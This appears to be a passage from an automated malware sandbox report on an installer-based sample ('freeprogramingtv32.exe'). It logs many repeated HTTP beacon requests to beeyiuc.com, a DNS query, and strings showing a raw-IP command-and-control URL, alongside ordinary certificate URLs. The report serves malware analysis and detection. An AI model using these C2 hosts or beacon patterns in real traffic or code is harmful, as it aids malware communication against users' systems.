Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee908244845a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed939e3bcc6c9017 HTTP/1.1Host: beeyiuc.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic

DNS traffic detected: DNS query: beeyiuc.com

Source: freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/
Source: freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000008E5000.00000004.00000020.00020000.00000000.sdmp, freeprogramingtv32.exe, 00000002.00000002.2929636913.0000000003520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ee90824
Source: freeprogramingtv32.exe, 00000002.00000002.2928475941.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.8.214/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://crl.certum.pl/cscasha2.crl0q
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://crl.certum.pl/ctnca.crl0k
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://cscasha2.ocsp-certum.com04
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://ocsp.comodoca.com0
Source: is-UF6SG.tmp.1.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://repository.certum.pl/cscasha2.cer0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://repository.certum.pl/ctnca.cer09
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://s.symcd.com06
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://subca.ocsp-certum.com01
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: is-QTH1O.tmp.1.dr, is-ID0G0.tmp.1.dr	String found in binary or memory: http://www.certum.pl/CPS0
Source: file.tmp, file.tmp, 00000001.00000000.1682543962.0000000000401000.00000020.00000001.01000000.00000004.sdmp, file.tmp.0.dr, is-2N406.tmp.1.dr	String found in binary or memory: http://www.innosetup.com/
Source: file.exe	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdline
Source: file.exe	String found in binary or memory: http://www.jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
